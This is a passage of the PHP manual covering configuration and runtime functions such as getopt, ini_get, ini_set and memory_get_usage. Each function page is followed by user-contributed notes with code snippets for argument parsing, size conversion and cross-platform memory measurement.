Whereas running:
# /test.php ./run_vfs  -h test1 -g test2 -m test3 this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => Array
        (
            [0] => test3
            [1] => green
        )

)
Francois Hill 19-Nov-2007 09:44
Although very interesting, koenbollen at gnospamail dot com's update of the argv array fails when option values follow the option with no space :
Indeed
    php MyScript.php5 -t5
and
    php MyScript.php5 -t 5
with $options="t:" are treated as the same by getopt.

This upgraded function should take care of it :

File : shift_test.php5
<?php
    function shift($options_array)
    {
        foreach( $options_array as $o => $a )
        {
            // Look for all occurrences of option in argv and remove if found :
            // ----------------------------------------------------------------
            // Look for occurrences of -o (simple option with no value) or -o<val> (no space in between):
            while($k=array_search("-".$o.$a,$GLOBALS['argv']))
            {    // If found remove from argv:
                if($k)
                    unset($GLOBALS['argv'][$k]);
            }
            // Look for remaining occurrences of -o <val> (space in between):
            while($k=array_search("-".$o,$GLOBALS['argv']))
            {    // If found remove both option and value from argv:
                if($k)
                {    unset($GLOBALS['argv'][$k]);
                    unset($GLOBALS['argv'][$k+1]);
                }
            }
        }
        // Reindex :
        $GLOBALS['argv']=array_merge($GLOBALS['argv']);
    }

    print_r($argv);
    $options_array=getopt('t:h');
    shift($options_array);
    print_r($argv);
?>

>php shift_test.php5 -h -t4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t4
    [3] => param1
    [4] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)

>php shift_test.php5 -h -t 4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t
    [3] => 4
    [4] => param1
    [5] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)
Damien B. 08-Nov-2007 07:47
This is how I handle arguments with getopt: I use switch within a foreach at the beginning of a program.

<?php

$opts = getopt('hs:');

// Handle command line arguments
foreach (array_keys($opts) as $opt) switch ($opt) {
  case 's':
    // Do something with s parameter
    $something = $opts['s'];
    break;

  case 'h':
    print_help_message();
    exit(1);
}

print "$something\n";

?>
koenbollen at gnospamail dot com 29-Mar-2007 09:51
After you use the getopt function you can use the following script to update the $argv array:
<?php
  $options = "c:ho:s:t:uvV";
  $opts = getopt( $options );
  foreach( $opts as $o => $a )
  {
    while( $k = array_search( "-" . $o, $argv ) )
    {
      if( $k )
        unset( $argv[$k] );
      if( preg_match( "/^.*".$o.":.*$/i", $options ) )
        unset( $argv[$k+1] );
    }
  }
  $argv = array_merge( $argv );
?>
Note: I used the array_merge function to reindex the array's keys.

Cheers, Koen Bollen
17-Jan-2007 08:59
About getopt(String):
 Parses the command-line arguments into an associative array, using the function's String parameter to specify arguments and options, thus:
* arguments are specified as any letter followed by a colon, e.g. "h:".
* arguments are returned as "h" => "value".
* options are specified as any letter not followed by a colon, e.g. "r".
* options are returned as "r" => (boolean) false.

Also note that:
1) Options or arguments not passed in the command-line parameters are not set in the returned associative array.
2) Options or arguments present in the command-line arguments multiple times are returned as an enumerated array within the returned associative array.
joey at alegria dot co dot jp 30-Apr-2006 06:57
There are 2 simpler (and much faster) methods for getting good getopt() operation without creating your own handler.

1. Use the Console_Getopt PEAR class (should be standard in most PHP installations) which lets you specify both short and long form options as well as whether or not arguments supplied to an option are themselves 'optional'. Very simple to use and requires very little code to operate compaired to writing own handler.

2. If you cannot load external PEAR objects, use your shell's getopt() functions (which in BASHs case work very well) to process options and have your shell script then call your PHP script with a rigid argument structure that is very easy for PHP to digest such as:
% myfile.php -a TRUE -b FALSE -c ARGUMENT ...
If the initial arguments are invalid you can have the shell script return an error without calling the PHP script. Sounds convoluted but is a very simple solution and in fact PHP's own % pear command uses this method. /usr/bin/pear is a shell script that does some simle checking before calling pearcmd.php and repassing the arguments on to it.

The second method is by far the best for portability because it allows a single shell script to check a few things like your PHP version and respond acordingly e.g. does it call your PHP4 or PHP5 compatible script? Also, because getopt() is not available on Windows, The second solution allows you to do Windows specific testing as a BAT file (as oposed to BASH, ZSH or Korn on UNIX).
chris at tiny dot net 24-Apr-2004 04:17
"phpnotes at kipu dot co dot uk" and "tim at digicol dot de" are both wrong or misleading.  Sean was correct.  Quoted space-containing strings on the command line are one argument.  It has to do with how the shell handles the command line, more than PHP.  PHP's getopt() is modeled on and probably built upon the Unix/POSIX/C library getopt(3) which treats strings as strings, and does not break them apart on white space.

Here's proof:

$ cat opt.php
#! /usr/local/bin/php
<?php
$options = getopt("f:");
print_r($options);
?>
$ opt.php -f a b c
Array
(
    [f] => a
)
$ opt.php -f 'a b c'
Array
(
    [f] => a b c
)
$ opt.php -f "a b c"
Array
(
    [f] => a b c
)
$ opt.php -f a\ b\ c
Array
(
    [f] => a b c
)
$


Gets the current resource usages

  • « getopt
  • ini_alter »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the current resource usages

getrusage

(PHP 4, PHP 5)

getrusage — Gets the current resource usages

Description

array getrusage ([ int $who = 0 ] )

This is an interface to getrusage(2). It gets data returned from the system call.

Parameters

who

If who is 1, getrusage will be called with RUSAGE_CHILDREN.

Return Values

Returns an associative array containing the data returned from the system call. All entries are accessible by using their documented field names.

Examples

Example #1 getrusage() example

<?php
$dat = getrusage();
echo $dat["ru_nswap"];         // number of swaps
echo $dat["ru_majflt"];        // number of page faults
echo $dat["ru_utime.tv_sec"];  // user time used (seconds)
echo $dat["ru_utime.tv_usec"]; // user time used (microseconds)
?>

Notes

Note: This function is not implemented on Windows platforms.

See Also

  • Your system's man page on getrusage(2)

User Contributed Notes

Domas Mituzas 14-Jan-2008 10:22
getrusage() reports kernel counters that are updated only once application loses context and a switch to kernel space happens. For example on modern Linux server kernels that would mean that getrusage() calls would return information rounded at 10ms, desktop kernels - at 1ms.

getrusage() isn't usable for micro-measurements at all - and getmicrotime(true) might be much more valuable resource.


Alias of ini_set

  • « getrusage
  • ini_get_all »
  • PHP Manual
  • PHP Options/Info Functions
  • Alias of ini_set

ini_alter

(PHP 4, PHP 5)

ini_alter — Alias of ini_set()

Description

This function is an alias of: ini_set().

User Contributed Notes

There are no user contributed notes for this page.


Gets all configuration options

  • « ini_alter
  • ini_get »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets all configuration options

ini_get_all

(PHP 4 >= 4.2.0, PHP 5)

ini_get_all — Gets all configuration options

Description

array ini_get_all ([ string $extension [, bool $details = true ]] )

Returns all the registered configuration options.

Parameters

extension

An optional extension name. If set, the function return only options specific for that extension.

details

Retrieve details settings or only the current value for each setting. Default is TRUE (retrieve details).

Return Values

Returns an associative array with directive name as the array key.

When details is TRUE (default) the array will contain global_value (set in php.ini), local_value (perhaps set with ini_set() or .htaccess), and access (the access level).

When details is FALSE the value will be the current value of the option.

See the manual section for information on what access levels mean.

Note:

It's possible for a directive to have multiple access levels, which is why access shows the appropriate bitmask values.

Changelog

Version | Description
5.3.0 | Added details.

Examples

Example #1 ini_get_all() examples

<?php
print_r(ini_get_all("pcre"));
print_r(ini_get_all());
?>

The above example will output something similar to:

Array
(
    [pcre.backtrack_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

    [pcre.recursion_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

)
Array
(
    [allow_call_time_pass_reference] => Array
        (
            [global_value] => 0
            [local_value] => 0
            [access] => 6
        )

    [allow_url_fopen] => Array
        (
            [global_value] => 1
            [local_value] => 1
            [access] => 4
        )

    ...

)

Example #2 Disabling details

<?php
print_r(ini_get_all("pcre", false)); // Added in PHP 5.3.0
print_r(ini_get_all(null, false)); // Added in PHP 5.3.0
?>

The above example will output something similar to:

Array
(
    [pcre.backtrack_limit] => 100000
    [pcre.recursion_limit] => 100000
)
Array
(
    [allow_call_time_pass_reference] => 0
    [allow_url_fopen] => 1
    ...
)

See Also

  • How to change configuration settings
  • ini_get() - Gets the value of a configuration option
  • ini_restore() - Restores the value of a configuration option
  • ini_set() - Sets the value of a configuration option
  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • phpinfo() - Outputs information about PHP's configuration
  • ReflectionExtension::getINIEntries() - Gets extension ini entries

User Contributed Notes

root at mantoru dot de 21-Jan-2008 10:33
Since a certain PHP version (I think it's 5.2.5) it is no longer possible to override INI entrys set with php_admin_* in httpd.conf. The access level will be set to 4 (PHP_INI_SYSTEM), which is also returned by this function.

The constants mentioned below are available in PHP, but without the prefix (e.g. INI_USER, INI_PERDIR).
justd@ntmailme 20-Dec-2002 05:15
I guess the third entry is the required access level (to change this variable at runtime):

Constant           Value      Meaning
PHP_INI_USER      1          Entry can be set in user scripts
PHP_INI_PERDIR    2          Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM    4          Entry can be set in php.ini or httpd.conf
PHP_INI_ALL       7          Entry can be set anywhere

See also the docs for ini_set()

Hugo.


Gets the value of a configuration option

  • « ini_get_all
  • ini_restore »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the value of a configuration option

ini_get

(PHP 4, PHP 5)

ini_get — Gets the value of a configuration option

Description

string ini_get ( string $varname )

Returns the value of the configuration option on success.

Parameters

varname

The configuration option name.

Return Values

Returns the value of the configuration option as a string on success, or an empty string for null values. Returns FALSE if the configuration option doesn't exist.

Examples

Example #1 A few ini_get() examples

<?php
/*
Our php.ini contains the following settings:

display_errors = On
register_globals = Off
post_max_size = 8M
*/

echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));

function return_bytes($val) {
    $val = trim($val);
    $last = strtolower($val[strlen($val)-1]);
    switch($last) {
        // The 'G' modifier is available since PHP 5.1.0
        case 'g':
            $val *= 1024;
        case 'm':
            $val *= 1024;
        case 'k':
            $val *= 1024;
    }

    return $val;
}

?>

The above example will output something similar to:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608

Notes

Note: When querying boolean values

A boolean ini value of off will be returned as an empty string or "0" while a boolean ini value of on will be returned as "1". The function can also return the literal string of INI value.

Note: When querying memory size values

Many ini memory size values, such as upload_max_filesize, are stored in the php.ini file in shorthand notation. ini_get() will return the exact string stored in the php.ini file and NOT its integer equivalent. Attempting normal arithmetic functions on these values will not have otherwise expected results. The example above shows one way to convert shorthand notation into bytes, much like how the PHP source does it.

Changelog

Version | Description
5.3.0 | Previously, the empty string was returned if the configuration option didn't exist. now, FALSE is returned instead.

See Also

  • get_cfg_var() - Gets the value of a PHP configuration option
  • ini_get_all() - Gets all configuration options
  • ini_restore() - Restores the value of a configuration option
  • ini_set() - Sets the value of a configuration option

User Contributed Notes

Ivo Mandalski 15-Nov-2011 05:27
This version of return_bytes takes care of the MB, GB, KB cases along with the M,G,K ones.
Hope this is helpful!

<?php
    public static function return_bytes ($val)
    {
        if(empty($val))return 0;

        $val = trim($val);

        preg_match('#([0-9]+)[\s]*([a-z]+)#i', $val, $matches);

        $last = '';
        if(isset($matches[2])){
            $last = $matches[2];
        }

        if(isset($matches[1])){
            $val = (int) $matches[1];
        }

        switch (strtolower($last))
        {
            case 'g':
            case 'gb':
                $val *= 1024;
            case 'm':
            case 'mb':
                $val *= 1024;
            case 'k':
            case 'kb':
                $val *= 1024;
        }

        return (int) $val;
    }
?>
Stas Trefilov, OpteamIS 26-Mar-2010 07:08
another version of return_bytes which returns faster and does not use multiple multiplications (sorry:). even if it is resolved at compile time it is not a good practice;
no local variables are allocated;
the trim() is omitted (php already trimmed values when reading php.ini file);
strtolower() is replaced by second case which wins us one more function call for the price of doubling the number of cases to process (may slower the worst-case scenario when ariving to default: takes six comparisons instead of three comparisons and a function call);
cases are ordered by most frequent goes first (uppercase M-values being the default sizes);
specs say we must handle integer sizes so float values are converted to integers and 0.8G becomes 0;
'Gb', 'Mb', 'Kb' shorthand byte options are not implemented since are not in specs, see
http://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes

<?php
function return_bytes ($size_str)
{
    switch (substr ($size_str, -1))
    {
        case 'M': case 'm': return (int)$size_str * 1048576;
        case 'K': case 'k': return (int)$size_str * 1024;
        case 'G': case 'g': return (int)$size_str * 1073741824;
        default: return $size_str;
    }
}
?>
nicolas dot grekas+php at gmail dot com 19-Aug-2009 07:51
Here is how to accurately test for boolean php.ini values:

<?php

function ini_get_bool($a)
{
    $b = ini_get($a);

    switch (strtolower($b))
    {
    case 'on':
    case 'yes':
    case 'true':
        return 'assert.active' !== $a;

    case 'stdout':
    case 'stderr':
        return 'display_errors' === $a;

    default:
        return (bool) (int) $b;
    }
}

?>
peter 29-Jul-2008 11:25
The above example function called return_bytes() assumes that ini_get('upload_max_filesize') delivers only one letter at the end. As I've seen 'Mb' and things like that, I'd suggest to change the $last = ... part into $last = strtolower(substr($val,strlen($val/1),1)).
I'd call it $unit then.
filh at filh dot org 21-Nov-2005 03:24
Concerning the value retourned, it depends on how you set it.
I had the problem with horde-3 which test the safe_mode value.
THan :
- if you set the value with php_admin_value safe_mode Off (or On) ini_get returns the string
- if you set the value with php_admin_flag safe_mode Off (or On) ini_get returns the boolean.
david dot tulloh at infaze dot com dot au 22-Jun-2005 04:01
You can set custom entries in the ini file to provide globals such as database details.
However these must be retrieved with get_cfg_var, ini_get won't work.
Der Graph 16-Aug-2004 08:59
It might be useful for included scripts that include other files to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>

Sometimes, it may also be useful to store the current 'include_path' in a variable, overwrite it, include, and then restore the old 'include_path'.


Restores the value of a configuration option

  • « ini_get
  • ini_set »
  • PHP Manual
  • PHP Options/Info Functions
  • Restores the value of a configuration option

ini_restore

(PHP 4, PHP 5)

ini_restore — Restores the value of a configuration option

Description

void ini_restore ( string $varname )

Restores a given configuration option to its original value.

Parameters

varname

The configuration option name.

Return Values

No value is returned.

Examples

Example #1 ini_restore() example

<?php
$setting = 'y2k_compliance';

echo 'Current value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_set($setting, ini_get($setting) ? 0 : 1);
echo 'New value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_restore($setting);
echo 'Original value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;
?>

The above example will output:

Current value for 'y2k_compliance': 1
New value for 'y2k_compliance': 0
Original value for 'y2k_compliance': 1

See Also

  • ini_get() - Gets the value of a configuration option
  • ini_get_all() - Gets all configuration options
  • ini_set() - Sets the value of a configuration option

User Contributed Notes

There are no user contributed notes for this page.


Sets the value of a configuration option

  • « ini_restore
  • magic_quotes_runtime »
  • PHP Manual
  • PHP Options/Info Functions
  • Sets the value of a configuration option

ini_set

(PHP 4, PHP 5)

ini_set — Sets the value of a configuration option

Description

string ini_set ( string $varname , string $newvalue )

Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.

Parameters

varname

Not all the available options can be changed using ini_set(). There is a list of all available options in the appendix.

newvalue

The new value for the option.

Return Values

Returns the old value on success, FALSE on failure.

Examples

Example #1 Setting an ini option

<?php
echo ini_get('display_errors');

if (!ini_get('display_errors')) {
    ini_set('display_errors', '1');
}

echo ini_get('display_errors');
?>

See Also

  • get_cfg_var() - Gets the value of a PHP configuration option
  • ini_get() - Gets the value of a configuration option
  • ini_get_all() - Gets all configuration options
  • ini_restore() - Restores the value of a configuration option
  • How to change configuration settings

User Contributed Notes

nl-x 17-Sep-2014 08:32
I have experienced on some systems that ini_set() will fail and return a false, when trying to set a setting that was set inside php.ini inside a per-host setting. Beware of this.
anonymous 10-Aug-2014 01:30
Note that this function only works with PHP_INI_ALL options!
williamprogphp at yahoo dot com dot br 10-Jan-2014 09:20
I figured out why php dont output errors such as an expected ';' on code and output a 500 error. Some server are configured to omit php errors on pages using the directive display_errors=Off;

In most cases, the server will output a 500 Internal Server Error instead of php error because of it.

To prevent this default you must set this directive directly in the php.ini file and the server will show you the php error properly. Setting ini_set('display_errors', true) on-the-fly wont work.
Nik 26-Nov-2013 02:44
How to get xdebug var_dump to show full object/array regardless to php,ini settings:

ini_set("xdebug.var_display_max_depth", -1);
ini_set("xdebug.var_display_max_children", -1);
ini_set("xdebug.var_display_max_data", -1);
var_dump($test);
Nathan 09-Nov-2011 05:56
Careful - in some cases, when setting zlib.output_compression to "On" via ini_set, PHP won't send the Content-type header and browsers will garble the output. Set it to the desired buffer size instead, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>
MadJoker 12-Aug-2009 10:46
If you use gz_handler you might want to switch over to
zlib.output_compression

This can be controlled via the ini_set control.

<?php ini_set('zlib.output_compression', 'Off'); ?>

or

<?php ini_set('zlib.output_compression', 'On'); ?>
daevid at daevid dot com 31-Oct-2006 02:19
Be careful with setting an output_handler, as you can't use ini_set() to change it. *sigh*

In my php.ini I have this for my web pages (and I want it):

  output_handler = ob_gzhandler

But this causes my command line scripts to not show output until the very end.

#!/usr/bin/php -q
<?php
ini_set('output_handler', 'mb_output_handler');
echo "\noutput_handler => " . ini_get('output_handler') . "\n";
?>

root@# ./myscript.php
output_handler => ob_gzhandler

Apparently (acording to Richard Lynch):

> TOO LATE!
> The ob_start() has already kicked in by this point.
> ob_flush() until there are no more buffers.
RebootConcepts.com 31-Mar-2006 10:36
set PHP_INI_PERDIR settings in a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
Ron Ludwig 10-Jan-2006 08:30
When your ISP does not allow you to add the default include directories - it might be useful to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>
brainiac5 dot php at aimail dot de 05-Sep-2004 04:54
To find the apache php settings try something like this.
> cd /etc/apache2
> grep -r -n -i  safe_mode_exec_dir *.conf
or
> grep -r -n -i safe_mode.*On *.conf

If you find a gererated file, obviously you need to find the source template for it, to change what's needed there.

I just wasted a sunny Sunday on searching for where the heck safe_mode_exec_dir was changed.

And yes, Local Value in phpinfo does mean 'changed between the php.ini file and here', as you would think.

If you have an automated virtual host configuration, such as confixx, php ini values can be spread across very many files.

They can be changed in apache config files, that can have any name, but usually will end on .conf, besides in .htaccess files.
klw at gmx dot at 05-Sep-2004 03:49
To change settings from .htaccess files, it is also required that the directory permissions configured in Apache allow this.

The <Directory /foo/bar> entry in httpd.conf MUST contain "AllowOverride All" or at least "AllowOverride Options" to read PHP settings from the .htaccess file.

E.g. in Fedora Core 2, the default settings for /var/www/html/ are "AllowOverride None", so changing PHP settings via .htaccess for applications installed below /var/www/html/ will not work.
sean at php dot net 14-Aug-2004 03:54
While this doesn't belong in the manual, it should be useful for people looking on this page for zend_optimizer.* ini options, which are commonly installed:

Information on the "zend_optimizer.optimization_level" and "zend_optimizer.enable_loader" options is available at:

http://www.zend.com/support/user_docs/ZendOptimizer/PDF/ZendOptimizer_UserGuide.pdf
davey at its-explosive dot net 18-Mar-2003 03:42
If you set something using php_admin_value in httpd.conf it is then not possible to be set the value at runtime, even if it's NOT PHP_INI_SYSTEM.

Just an interesting note for Server admins this might come in handy to disable setting of certain things... like allow_url_fopen.

- Davey
miroslav AT simunic DOT de 30-Sep-2002 05:26
If it's not your server and therefore you want to hide the data in your session variables from other users, it�s very useful to set the session.save_handler in your scripts to shared memory with:

<?php ini_set('session.save_handler','mm'); ?>

Remember: You have to set it in every script that uses the session variables BEFORE "session_start()" or php won't find them.
Tr909 at com dot nospam dot bigfoot 12-Jun-2002 07:04
[[[Editors note: Yes, this is very true.  Same with
register_globals, magic_quotes_gpc and others.
]]]

Many settings, although they do get set, have no influence in your script.... like upload_max_filesize will get set but uploaded files are already passed to your PHP script before the settings are changed.

Also other settings, set by ini_set(), may be to late because of this (post_max_size etc.).
beware, try settings thru php.ini or .htaccess.
johnzoet at netscape dot com 14-Mar-2002 03:13
[[[Editors note: Just because you're able to set something
doesn't mean it will work as expected.  Depends on the
setting.  For example. setting register_globals at
runtime will be of little use as its job has already
been completed by the time it reaches your script.
]]]

When a setting can not be changed in a user script, the return value of ini_set is "empty", not "false" as you may expect.
If you check in your script for return value is "false" the script will continue processing, although the setting has not been set.
The boolean return value is used for settings that can be changed in a script. Otherwise the empty value is returned.
To test for both error conditions use:

<?php
if (empty($blnResult) or (!$blnResult)) {
   echo "setting cannot be set";
   exit;
}
?>


Alias of set_magic_quotes_runtime

  • « ini_set
  • main »
  • PHP Manual
  • PHP Options/Info Functions
  • Alias of set_magic_quotes_runtime

magic_quotes_runtime

(PHP 4, PHP 5)

magic_quotes_runtime — Alias of set_magic_quotes_runtime()

Description

This function is an alias of: set_magic_quotes_runtime()

User Contributed Notes

There are no user contributed notes for this page.


Dummy for main

  • « magic_quotes_runtime
  • memory_get_peak_usage »
  • PHP Manual
  • PHP Options/Info Functions
  • Dummy for main

main

main — Dummy for main()

Description

There is no function named main() except in the PHP source. In PHP 4.3.0, a new type of error handling in the PHP source (php_error_docref) was introduced. One feature is to provide links to a manual page in PHP error messages when the PHP directives html_errors (on by default) and docref_root (on by default until PHP 4.3.2) are set.

Sometimes error messages refer to a manual page for the function main() which is why this page exists. If you discover such a reference, please » file a bug report, indicating the PHP function caused the error that linked to main() and it will be fixed and properly documented.

Known errors that point to main()
Function name | No longer points here as of
include | 5.1.0
include_once | 5.1.0
require | 5.1.0
require_once | 5.1.0

See Also

  • html_errors
  • display_errors

User Contributed Notes

There are no user contributed notes for this page.


Returns the peak of memory allocated by PHP

  • « main
  • memory_get_usage »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns the peak of memory allocated by PHP

memory_get_peak_usage

(PHP 5 >= 5.2.0)

memory_get_peak_usage — Returns the peak of memory allocated by PHP

Description

int memory_get_peak_usage ([ bool $real_usage = false ] )

Returns the peak of memory, in bytes, that's been allocated to your PHP script.

Parameters

real_usage

Set this to TRUE to get the real size of memory allocated from system. If not set or FALSE only the memory used by emalloc() is reported.

Return Values

Returns the memory peak in bytes.

Changelog

Version | Description
5.2.1 | Compiling with --enable-memory-limit is no longer required for this function to exist.
5.2.0 | real_usage was added.

See Also

  • memory_get_usage() - Returns the amount of memory allocated to PHP
  • memory_limit

User Contributed Notes

ErnestV 04-Aug-2013 08:33
In PHP v.5.3.8, memory_get_peak_usage(true) always returns zero (found on Debian Linux).


Returns the amount of memory allocated to PHP

  • « memory_get_peak_usage
  • php_ini_loaded_file »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns the amount of memory allocated to PHP

memory_get_usage

(PHP 4 >= 4.3.2, PHP 5)

memory_get_usage — Returns the amount of memory allocated to PHP

Description

int memory_get_usage ([ bool $real_usage = false ] )

Returns the amount of memory, in bytes, that's currently being allocated to your PHP script.

Parameters

real_usage

Set this to TRUE to get the real size of memory allocated from system. If not set or FALSE only the memory used by emalloc() is reported.

Return Values

Returns the memory amount in bytes.

Changelog

Version | Description
5.2.1 | Compiling with --enable-memory-limit is no longer required for this function to exist.
5.2.0 | real_usage was added.

Examples

Example #1 A memory_get_usage() example

<?php
// This is only an example, the numbers below will
// differ depending on your system

echo memory_get_usage() . "\n"; // 36640

$a = str_repeat("Hello", 4242);

echo memory_get_usage() . "\n"; // 57960

unset($a);

echo memory_get_usage() . "\n"; // 36744

?>

See Also

  • memory_get_peak_usage() - Returns the peak of memory allocated by PHP
  • memory_limit

User Contributed Notes

Alex Aulbach 22-Mar-2011 10:14
Note, that the official IEC-prefix for kilobyte, megabyte and so on are KiB, MiB, TiB and so on.

See http://en.wikipedia.org/wiki/Tebibyte

At first glance this may sound like "What the hell? Everybody knows, that we mean 1024 not 1000 and the difference is not too big, so what?". But in about 10 years, the size of harddisks (and files on them) reaches the petabyte-limit and then the difference between PB and PiB is magnificent.

Better to get used to it now. :)
lorin dot weilenmann at gmail dot com 26-Nov-2010 10:37
I can confirm that this function triggers a garbage collection. I have a script that exceeded 128MB of memory at some point and ended with a fatal error. I was confused, because the script dealt with some large files initially, but the memory load from that point on should have been marginal, and the error occurred at the very end.

Those large files were dealt in a dedicated function and i even used unset() on the variable holding the file after the file was written to disk inside that function. So the memory should have been cleared twice, first after the unset() call, and second once the function ended.

To debug the memory usage, I called memory_get_usage(true) at some points and echo-ed the memory allocation. Just by adding a few echos here and there in the script, the memory usage never exceeded 1MB overhead (on top of the current file size) and the memory error disappeared.
xelozz -at- gmail.com 18-Feb-2010 11:34
To get the memory usage in KB or MB

<?php
function convert($size)
 {
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
 }

echo convert(memory_get_usage(true)); // 123 kb
?>
mario 16-Nov-2009 06:11
not sure how this works internally but I have observed sort of side effects here: calling this function apparently triggers PHP's "garbage collector" -- and frees some memory. I managed to "fix" some savagely coded mess of a web application solely by calling this function just before the code that would usually throw out-of-memory errors. the php version there was 5.2.10
jeff dot peck at snet dot net 19-Aug-2009 06:22
To get the memory usage in KB or MB

<?php
    function echo_memory_usage() {
        $mem_usage = memory_get_usage(true);

        if ($mem_usage < 1024)
            echo $mem_usage." bytes";
        elseif ($mem_usage < 1048576)
            echo round($mem_usage/1024,2)." kilobytes";
        else
            echo round($mem_usage/1048576,2)." megabytes";

        echo "<br/>";
    }
?>
miteigi nemoto (miteigi at yandex dot ru) 19-Nov-2008 05:19
Decision a memory_get_usage problem for windows system

Tested OS: Windows XP
Server: Apache

PHP must be loaded as CGI to get correctly memory usage by Process ID ( getmypid() ) and with cmd-tools like tasklist.exe

PHP as CGI have your own PID instead constant Apache PID and you get a true memory size independed form Apache memory usage.

Configure in httpd.conf of Apache:

1. Comment the line like this:
LoadModule php4_module "/usr/local/php/sapi/php4apache.dll"
or
LoadModule php5_module "/usr/local/php5/php5apache.dll"

2. Add this and edit your path to php:
<Directory "z:/usr/local/php">
  Options ExecCGI
</Directory>
ScriptAlias "/__php_dir__/" "z:/usr/local/php/"
Action application/x-httpd-php "/__php_dir__/php.exe"

3. Restart Apache

Use this PHP-code:

<?php
/**
* A memory_get_usage() for Windows System, wich compiled without --enable-memory-limit
* PHP must be loaded as CGI
* Greetings form miteigi nemoto
* @return string
*/
function memory_get_usage_by_tasklist()
{
    $output = array();
    exec( 'tasklist ', $output );
    foreach ($output as $value)
    {
        $ex=explode(" ",$value);
        $count_ex=count($ex);
        if (eregi(" ".getmypid()." Console",$value))
        {
            $memory_size=$ex[$count_ex-2]." Kb";
            return $memory_size;
        }
    }
}
echo memory_get_usage_by_tasklist();
?>
joe at schmoe dot com 23-Dec-2006 09:44
the various memory_get_usage replacements here don't seem to work on Mac OS X 10.4(Intel)

I got it to work like this...

<?php
function memory_get_usage()
{
     $pid = getmypid();
     exec("ps -o rss -p $pid", $output);
     return $output[1] *1024;
}
?>
e dot a dot schultz at gmail dot com 09-Apr-2006 01:41
This is a function that should work for both Windows XP/2003 and most distrabutions of UNIX and Mac OS X.

<?php
if( !function_exists('memory_get_usage') )
{
    function memory_get_usage()
    {
        //If its Windows
        //Tested on Win XP Pro SP2. Should work on Win 2003 Server too
        //Doesn't work for 2000
        //If you need it to work for 2000 look at http://us2.php.net/manual/en/function.memory-get-usage.php#54642
        if ( substr(PHP_OS,0,3) == 'WIN')
        {
               if ( substr( PHP_OS, 0, 3 ) == 'WIN' )
                {
                    $output = array();
                    exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );

                    return preg_replace( '/[\D]/', '', $output[5] ) * 1024;
                }
        }else
        {
            //We now assume the OS is UNIX
            //Tested on Mac OS X 10.4.6 and Linux Red Hat Enterprise 4
            //This should work on most UNIX systems
            $pid = getmypid();
            exec("ps -eo%mem,rss,pid | grep $pid", $output);
            $output = explode("  ", $output[0]);
            //rss is given in 1024 byte units
            return $output[1] * 1024;
        }
    }
}
?>
grey - greywyvern - com 17-Aug-2005 09:37
If nothing else in the user notes below works for you, you can get a very (VERY) rough estimate of PHP memory usage by outputting the $GLOBALS array, stripping it of indentation whitespace, and counting the characters in the resulting string.  This method has a very high overhead (to be expected), but works on all operating systems, regardless of whether or not they have the --enable-memory-limit config option set.  I find that the syntax overhead of the print_r() statement roughly accounts for the PHP runtime base memory usage.

The code below is set up to work on all arrays, not just the $GLOBALS array.  Keep in mind that outside data referenced by resource IDs, such as database results and open file data, is not included in this total.

<?php

function array_size($arr) {
  ob_start();
  print_r($arr);
  $mem = ob_get_contents();
  ob_end_clean();
  $mem = preg_replace("/\n +/", "", $mem);
  $mem = strlen($mem);
  return $mem;
}

$memEstimate = array_size($GLOBALS);

?>

Use only if being off to either side by at least 20% is acceptible for your purposes.
vesa dot kivisto at nepton dot fi 14-Jul-2005 03:02
[EDIT by danbrown AT php DOT net: This function will only extend Windows versions of PHP where the server has the required third-party software.]

I was unable to get the previous examples working properly and created code which works at least for me. Enjoy!

<?php
// Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html
// This is because win/2000 itself does not provide a task list utility.
//
function getMemoryUsage() {

 // try to use PHP build in function
 if( function_exists('memory_get_usage') ) {
  return memory_get_usage();
 }

 // Try to get Windows memory usage via pslist command
 if ( substr(PHP_OS,0,3) == 'WIN') {

  $resultRow = 8;
  $resultRowItemStartPosition = 34;
  $resultRowItemLength = 8;

  $output = array();
  exec('pslist -m ' . getmypid() , $output);

  return trim(substr($output[$resultRow], $resultRowItemStartPosition, $resultRowItemLength)) . ' KB';

 }

 // No memory functionality available at all
 return '<b style="color: red;">no value</b>';

}
?>
guenter_doege at web dot de 11-Jul-2005 08:28
The Win XP / 2003 workaround script will also work with windows 2000 with a few slight modifications.

Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html because win/2000 itself does not provide a task list utility.

<?php

function getMemUsage()
{

